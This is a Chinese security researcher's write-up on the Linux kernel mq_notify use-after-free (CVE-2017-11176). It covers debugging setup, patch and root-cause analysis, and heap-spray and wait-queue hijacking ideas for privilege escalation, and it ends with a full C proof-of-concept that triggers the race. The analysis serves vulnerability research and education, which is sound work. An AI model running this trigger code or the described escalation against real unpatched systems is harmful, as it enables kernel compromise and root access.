Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

robots

 

作者:维阵漏洞研究员—km1ng

01 概述

Linux内核中的POSIX消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。

 

02 影响范围

内核版本至最高Linux kernel through 4.11.9中的mq_notify函数在进入etry logic时不会将sock指针设置为NULL。在Netlink套接字的用户空间关闭期间,它允许攻击者导致UAF。

Red Hat:

Ubuntu:

Debian:

https://www.cvedetails.com/cve/CVE-2017-11176/
https://www.suse.com/security/cve/CVE-2017-11176/
https://ubuntu.com/security/CVE-2017-11176
https://access.redhat.com/security/cve/CVE-2017-11176

 

03 环境搭建

3.1 调试环境

3.2 Centos7 双机调试

3.2.1 centos执行命令

yum install -y kernel-devel 
sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo
    里面的enable字段修改为enable=1
sudo debuginfo-install kernel
    
vi /boot/grub2/grub.cfg 
vi /etc/grub2.cfg
    执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行
    kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr
执行下面命令更新grub
grub2-mkconfig -o /boot/grub2/grub.cfg
grub2-mkconfig -o /etc/grub2.cfg

上面的ttyS0是有可能改变的,如有打印机等请移除。

3.2.2 vmware添加串口

centos7添加串口:

ubuntu添加串口:

测试串口:

centos执行:cat/dev/ttyS0
ubuntu执行:echo hello > /dev/ttyS0

如上图所示centos输出hello代表成功。

3.2.3 测试调试环境

拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。

/usr/lib/debug/lib/modules/3.10.0-693.el7.x86_64/vmlinux

重新启动centos,会发现centos如下图所示。

ubuntu执行下面的命令,每次ubuntu重启后都需要重新执行。

sudo stty -F /dev/ttyS0 115200
sudo stty -F /dev/ttyS0
gdb
    target remote /dev/ttyS0
    file vmlinux
    c

centos正常运行,调试环境搭建成功。

3.3 下载源码

uname -a 
    查看自己内核版本
cat /etc/redhat-release
    查看版本

下面的链接为centos源码下载官网:
https://vault.centos.org/

打开后如下图所示。

进入官网后,再一次进入自己对应机器的版本。这里进入7.4,进入os/,进入Source/,进入SPackages/,找到对应版本的rpm包下载在解压即可。

将得到的源码包放入ubuntu调试机。(如果本地的物理机是windows也保留一份,需要对照源码)

调试centos内核的时候,使用dir命令加载源码,在使用l命令查看是否成功,如下图所示。

dir /home/koffer/linux-3.10.0-693.el7

先使用exploit验证一下漏洞是否存在,提权成功。

 

04 补丁分析

源码的下载方式上面已给出,使用任何习惯的代码阅读器打开。

补丁地址:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/id=f991af3daabaecff34684fd51fac80319d1baad1

可以发现补丁点在mqueue.c,并且只添加了一行。

patch的描述提供了更多的信息:

mqueue: fix a use-after-free in sys_mq_notify()
The retry logic for netlink_attachskb() inside sys_mq_notify()
is nasty and vulnerable:

1) The sock refcnt is already released when retry is needed
2) The fd is controllable by user-space because we already
   release the file refcnt

so we then retry but the fd has been just closed by user-space
during this small window, we end up calling netlink_detachskb()
on the error path which releases the sock again, later when
the user-space closes this socket a use-after-free could be
triggered.

Setting 'sock' to NULL here should be sufficient to fix it

1、有漏洞的代码存在于mq_notify
2、在retry的逻辑中有错误
3、在sock的计数器上有错误导致UAF
4、漏洞与已经关闭的fd的条件竞争有关

介绍下mqnotify系统调用的用途,mq_*代表”POSIX message queues”,用来代替System V message queues:

POSIX message queues allow processes to exchange data in the form of messages.
This API is distinct from that provided by System V message  queues (msgget(2),
msgsnd(2), msgrcv(2), etc.), but provides similar functionality.

mq_notify()系统调用用来注册或注销异步提醒:

mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.

 

05 漏洞成因分析

Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。

本文章使用的内核源代码为centos7.4 1708 版本默认内核版本版本3.10.0-693.el7的源码。

首先查看漏洞所在代码/ipc/mqueue.c:

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
    const struct sigevent __user *, u_notification)

根据上面的补丁信息,先查看函数的执行流程,下图是经过删减的mq_notify函数。

    // from [ipc/mqueue.c]

    SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
        const struct sigevent __user *, u_notification)
    {
      int ret;
      struct file *filp;
      struct sock *sock;
      struct sigevent notification;
      struct sk_buff *nc;

      // ... cut (copy userland data to kernel + skb allocation) ...

      sock = NULL;
  retry:
[0]       filp = fget(notification.sigev_signo);
          if (!filp) {
            ret = -EBADF;
[1]         goto out;
          }
[2a]      sock = netlink_getsockbyfilp(filp);
[2b]      fput(filp);
          if (IS_ERR(sock)) {
            ret = PTR_ERR(sock);
            sock = NULL;
[3]         goto out;
          }

          timeo = MAX_SCHEDULE_TIMEOUT;
[4]       ret = netlink_attachskb(sock, nc, &timeo, NULL);
          if (ret == 1)
[5a]        goto retry;
          if (ret) {
            sock = NULL;
            nc = NULL;
[5b]        goto out;
          }

[5c]    // ... cut (normal path) ...

      out:
        if (sock) {
          netlink_detachskb(sock, nc);
        } else if (nc) {
          dev_kfree_skb(nc);
        }
        return ret;
      }

首先开始从【0】处获取用户提供的文件描述符,如果这个fd不存在于当前进程的fdt中,将会返回空指针并进入退出流程[1]。

[2a]提供的文件的sock对象也被获取。如果没有有效的sock对象,同样会置NULL并进入退出流程[3]。

随后调用netlink_attachskb()函数。
1、直接到【5c】处
2、ret==1 执行到retry
3、nc和sock置为NULL然后执行到退出流程

根据补丁信息应该是要netlink_attachskb返回值为1执行到retry处才能触发漏洞,但是还有一块逻辑nc和sock为什么要置为NULL。

跟进netlink_detachskb函数:

再次跟进sock_put函数:

可以发现sock被置NULL并进入退出流程他的引用计数器sk_refcnt无条件会减一。正如patch所描述的,漏洞代码的sock对象的refcount存在着问题。

回头去查看retry处代码:

发现了netlink_getsockbyfilp函数。跟进netlink_getsockbyfilp函数,如下图所示。

sock对象的refcounter在sock_hold处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一。

下面为netlink_attachskb函数简化代码:

// from [net/netlink/af_netlink.c]

/*
 * Attach a skb to a netlink socket.
 * The caller must hold a reference to the destination socket. On error, the
 * reference is dropped. The skb is not sent to the destination, just all
 * all error checks are performed and memory in the queue is reserved.
 * Return values:
 * < 0: error. skb freed, reference to sock dropped.
 * 0: continue
 * 1: repeat lookup - reference dropped while waiting for socket memory.
 */

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
          long *timeo, struct sock *ssk)
{
  struct netlink_sock *nlk;

  nlk = nlk_sk(sk);

  if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

    // ... cut (wait until some conditions) ...

    sock_put(sk);         // <----- refcnt decremented here

    if (signal_pending(current)) {
      kfree_skb(skb);
      return sock_intr_errno(*timeo); // <----- "error" path
    }
    return 1;   // <----- "retry" path
  }
  skb_set_owner_r(skb, sk);   // <----- "normal" path
  return 0;
}

函数的功能是将skb绑定到netlink socket,sock_put(sk)导致refcnt减少,最后return 1,返回返回直接goto到retry标签的地方。

如下图所示,这里并没有将sock和nc置为NULL:

下面这两处函数的调用刚好将引用计数抵消:

如下图所示在retry代码块中,f=fdget(notification.sigev_signo),如果f.file为空,直接goto到out标签。

在上面的分析中,out判断sock是否为空,如果不为空,调用netlink_detachskb函数。释放skb,并减少sk引用计数,进行释放。那么就有问题了,如果我们创建A线程保持netlink_attachskb返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不是为空。同时再创建B线程去关闭netlink socket对应的文件描述符。由于B线程关闭了netlink socket的文件描述符,那A线程在retry逻辑中,调用fdget时会失败,然后直接goto到out标签,进行释放,进行了二次释放,导致漏洞。这个漏洞是属于条件竞争型的二次释放漏洞,只在一个线程中,是无法触发漏洞。

 

06 触发漏洞

现在已经知道漏洞是如何造成的了,但是如何触发这个漏洞。

6.1 netlink_attachskb函数流程分析

在netlink_attachskb函数中,主要逻辑如下:

1、判断atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf,或者 test_bit(NETLINK_CONGESTED,&nlk->state))是否为真,和netlink_skb_is_mmaped(skb)是否为空;其中netlink_skb_is_mmaped(skb)返回结构肯定为True。

· 如果进入该分支,首先会调用 DECLARE_WAITQUEUE声明一个等待队列;

· 判断timeo是否为空,这里不为空,不进入后续分支;

· 随后调用__set_current_state设置当前task状态TASK_INTERRUPTIBLE;

· 然后调用add_wait_queue将当前线程添加到 wait队列;

· 然后进入判断,由于(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))这个判断在最开始已经为真,所以只需要确定 sock_flag是否为sock_DEAD。若为真,则调用schedule_timeout进行cpu调度,当前线程进入block状态;

· 调用__set_current_state函数,设置当前task为TASK_RUNNING;

· 调用remove_wait_queue函数,将当前线程从 wait队列中移除;

· 调用sock_put函数,将sock的引用计数减1;

· 最后调用signal_pending判断当前current,若为真,则调用kfree_skb释放skb;

· 最后返回1。

2、如果不进入该分支,则会调用netlink_skb_set_owner_r函数:

会调用atomic_add将sk->sk_rmem_alloc加上skb->truesize,也就是扩大了sk->sk_rmem_alloc大小。

首先netlink_skb_is_mmaped(skb)肯定为True,所以只需要(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))为真即可。

为了触发漏洞,需要netlink_attachskb的返回值为1,可以通过增大sk->sk_rmem_alloc的值或减小sk->sk_rcvbuf的值。

6.2 增大sk->sk_rmem_alloc

在netlink_attachskb函数中,首先会对sk->sk_rmem_alloc与sk->sk_recvbuf函数进行判断,如果判断不通过,则会执行到netlink_set_owner_r函数。

sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是它的值始终会是一个>0的值,因此这个判断很难以通过。会直接执行到 netlink_skb_set_owner_r。

那么是否能够通过多次调用mq_notify()函数,第一次直接执行netlink_skb_set_owner_r来增大 sk_rmem_alloc,然后第二次执行时由于 sk_rmem_alloc已经增大了来进入返回1的路径。

消息队列的一个成员只能执行一次。所以只能想办法用其他路径来触发netlink_skb_set_owner_r,以此来增大sk_rmem_alloc。这里先寻找一下关于 netlink_skb_set_owner_r的调用链。

最终发现如下调用链,可以调用skb_set_owner_r来更改sk_rmem_alloc的值:

netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r

查看netlink_sendmsg代码:

执行netlink_unicast函数需要满足如下条件:

· msg->msg_flags不等于MSG_OOB

· scm_send返回值大于等于0,也即保证msg->msg_controllen<=0即可

· addr->nl_family=AF_NETLINK,且 dst_group不等于dst_portid,netlink_allowed返回值不为空

· nlk->portid不为空,且sk->sk_sndbuf-32大于len

· 需要控制msg->msg_iter的type\nr_segs\iov为对应值

最后调用netlink_unicast,但是这个函数里面没有易于我们控制的参数。

调用该函数可以直接通过调用链调用 netlink_attachskb,最后调用 netlink_skb_set_owner_r,也就是会增加 sk_rmem_alloc的值。

6.3 减小sk->sk_rcvbuf

setsockopt函数中,找到sock_setsockopt的函数,其中有对sk->sk_rcvbuf的操作:

首先val从val和sysctl_rmem_max中取最小值。然后sk->sk_rcvbuf从val*2和sock_min_rcvbuf中取最大值。这里就可以修改sk->sk_rcvbuf的值。这里的val是由我们传入的,可以控制sk->sk_rcvbuf的大小。

当ret==1时触发漏洞,ret为netlink_attachskb的返回值,mq_notify系统调用执行到 netlink_attachskb的条件:

· u_notification !=NULL
· notification.sigev_notify = SIGEV_THREAD
· notification.sigev_value.sival_ptr必须有效
· notification.sigev_signo提供一个有效的文件描述符

6.4 唤醒线程

在上面对netlink_attachskb进行分析时讲到当进入 if分支后,会执行schedule_timeout,会让当前线程进入block状态。而不想阻塞线程,只能设置 sock_flag为SOCK_DEAD,但是如果这样设置后面就没法再执行了。所以这里必须得进入block状态,我们只能想办法去唤醒被block的线程。

调用wake_up_interruptible来唤醒线程,调用链和代码如下所示:

netlink_setsockopt->wake_up_interruptible

6.5 retry跳转到out

通过上面的操作,已经能保证netlink_attackskb首先进入retry分支。然后我们要使retry循环出错,直接跳转到out代码块。

netlink_attackskb的正常流程为:

· netlink_getsockbyfilp根据fd获取sock结构,此时 ock的引用加1;

· 然后进入attachskb函数,判断此时的sk是不是满了,如果满了,则sock的引用减一;

· 然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定;

· 此时sock的引用,一加一减保持平衡。

通过多线程同时竞争则会产生如下情况:

· 当线程1还未进入retry时,线程2调用了close触发了fputs,使引用计数ref count减1,并从映射表中将fd和文件的映射移除,因为调用 close(fd)函数将会释放最后一个对文件的引用,所以file结构体将会被释放。由于file结构体被释放,相关联的sock的结构体的引用计数减1,且sock的计数为0,导致其被释放。这时 sock指针并没有被设置为 NULL,使其成为一个野指针。

· 然后在线程1中,因为 fd已经不指向任何有效的文件结构,所以第二次调用 fget()时会失败,程序将会跳转到 out标签处,接着 netlink_detachskb()将会使用之前已经被释放的 sock指针,导致 use after free。这里的 use after free是漏洞导致的结果而不是漏洞产生的原因。

 

07 漏洞利用

7.1 堆分配

对于UAF类型的漏洞,通用方法就是使用堆喷射占位。本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x4a8字节,即是1192byte。

slab分配器在分配对象时,遵守后进先出的规则。下图是slab分配器释放对象的过程。

要释放的objp在ac->entry的末端,slab分配对象直接在ac->entry末端弹出一个对象。

被释放的对象是排在链表末段,如果此时同一缓存中进行对象分配,刚刚释放的对象会被重新分配出去,这就出现两个指针指向同一块内存地址。要想保证申请的内存正好落在漏洞对象的内存位置中:

堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。

ac本身是array_chche结构体,该结构体是本地高速缓存,每个CPU对应一个,所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中。

如果堆喷申请的对象只是短暂驻留,当该函数返回时将申请的对象进行了释放,导致无法正确占位。所以要能保证申请的对象不被释放,至少保证在使用漏洞对象时不被释放,这里要采用驻留式内存占位,可以采取让某些系统调用过程阻塞。

7.2 利用流程分析

7.2.1 wait等待队列

在进行堆喷、构造堆喷对象时,有必要在对应漏洞对象的一些特殊成员域的内存偏移处设置magic value,然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下图所示:

采用getsockname系统调用获取数据,getsockname会调用netlink_getname。具体看一下netlink_getname函数:

将netlink_sock对象中的portid复制给nladdr->nl_pid。如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的,addr就是从用户层传入的缓冲区,netlink_sock结构体如下:

wait_queue_haed_t结构体如下图所示:

7.2.2 func执行代码

task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是需要处理的等待例程元素。进入如下图所示的wake_up_interruptible函数中。

如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。

wait_queue_t结构体如下所示:

wait_queue_t结构体中有一个函数指针func。再看wake_up_common函数中,直接执行curr>func函数,可以通过构造wait_queue的func参数控制RIP。再回过头看list_for_each_entry_safe宏:

pos是wait_queue元素,对pos->member.next进行了解引用,这里的pos->member就是wait_queue中的task_list。__wait_queue中的task_list也是一个链表头,需要指向一个list_head,所以还必须要构造一个假的list_head以便于该宏进行解引用。

7.3 调试验证

根据上面的分析已经明白了漏洞触发到漏洞利用的一个整体的流程,编写漏洞利用代码并测试,可以先在netlink_attachskb下断点,判断返回值是否为1,如果为1说明已经进入retry分支,然后在fdget下断点判断是否为0,判断成功后将会进入out分支,double-fetch成功。

如下图所示netlink_attachskb返回1,成功进入retry。

继续对fdget下断点,查看是否如我们想象中的那样运行。

如上图所示fget返回值为0,程序的执行流程转为out。

在__wake_up_common调用函数指针下断点执行下去,发现程序最终执行到构造的rop链条,如下图所示。

下图是我使用的centos7.4所构造的rop链条。

通过ROP链绕过SMEP执行提权代码。

 

08 poc

下面的代码是可以触发漏洞的poc。


/*
 * CVE-2017-11176 Proof-of-concept code by LEXFO.
 *
 * Compile with:
 *
 *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
 */

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;
  bool is_ready; // we can use pthread barrier instead
};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)
{
  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
  int val = 3535; // need to be different than zero

  // notify the main thread that the unblock thread has been created. It *must*
  // directly call mq_notify().
  uta->is_ready = true; 

  sleep(5); // gives some time for the main thread to block

  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);

  printf("[ ][unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("[+] setsockopt");
  return NULL;
}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
  pthread_t tid;
  struct sigevent sigev;
  struct unblock_thread_arg uta;
  char sival_buffer[NOTIFY_COOKIE_LEN];

  // initialize the unblock thread arguments
  uta.sock_fd = sock_fd;
  uta.unblock_fd = unblock_fd;
  uta.is_ready = false;

  // initialize the sigevent structure
  memset(&sigev, 0, sizeof(sigev));
  sigev.sigev_notify = SIGEV_THREAD;
  sigev.sigev_value.sival_ptr = sival_buffer;
  sigev.sigev_signo = uta.sock_fd;

  printf("[ ] creating unblock thread...\n");
  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
  {
    perror("[-] pthread_create");
    goto fail;
  }
  while (uta.is_ready == false) // spinlock until thread is created
    ;
  printf("[+] unblocking thread has been created!\n");

  printf("[ ] get ready to block\n");
  if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
  {
    perror("[-] mq_notify");
    goto fail;
  }
  printf("[+] mq_notify succeed\n");

  return 0;

fail:
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
 * Creates a netlink socket and fills its receive buffer.
 *
 * Returns the socket file descriptor or -1 on error.
 */

static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10];
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0, 
  };

  printf("[ ] preparing blocking netlink socket\n");

  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
  {
    perror("socket");
    goto fail;
  }
  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
  {
    if (errno != EADDRINUSE)
    {
      perror("[-] bind");
      goto fail;
    }
    addr.nl_pid++;
  }

  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
    ;
  if (errno != EAGAIN)
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  _close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
  int sock_fd  = -1;
  int sock_fd2 = -1;
  int unblock_fd = 1;

  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

  if ((sock_fd = prepare_blocking_socket()) < 0)
    goto fail;
  printf("[+] netlink socket created = %d\n", sock_fd);

  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
  {
    perror("[-] dup");
    goto fail;
  }
  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

  // trigger the bug twice
  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
      decrease_sock_refcounter(sock_fd2, unblock_fd))
  {
    goto fail;
  }

  printf("[ ] ready to crash?\n");
  PRESS_KEY();

  // TODO: exploit

  return 0;

fail:
  printf("[-] exploit failed!\n");
  PRESS_KEY();
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

 

09 总结

此漏洞的原理很简单、利用方式不是很难,但是我也调试挺长时间,难点在于如何去触发漏洞以及利用漏洞的时候绕过各种检查和条件。虽然现在已经得到了root shell但是还有很多需要改善的地方。分析复现漏洞应该更加关注自己使用的环境,自己的环境和别人文章中的是有不同的。清楚明白漏洞产生的原因,如何去触发漏洞、绕过检查、利用手法、清理环境等。这篇文章也是笔者第一次分析复现linux下的内核提权漏洞,如有不当之处还请指正。

视频演示:

https://www.bilibili.com/video/BV1Z54y1n77q

参考链接:

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html

https://sunichi.github.io/2019/10/08/CVE-2017-11176-2/

https://paper.seebug.org/785/#3

https://a1ex.online/2021/04/08/CVE-2017-11176-Kernel-double-fetch%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://www.anquanke.com/post/id/190179

(完)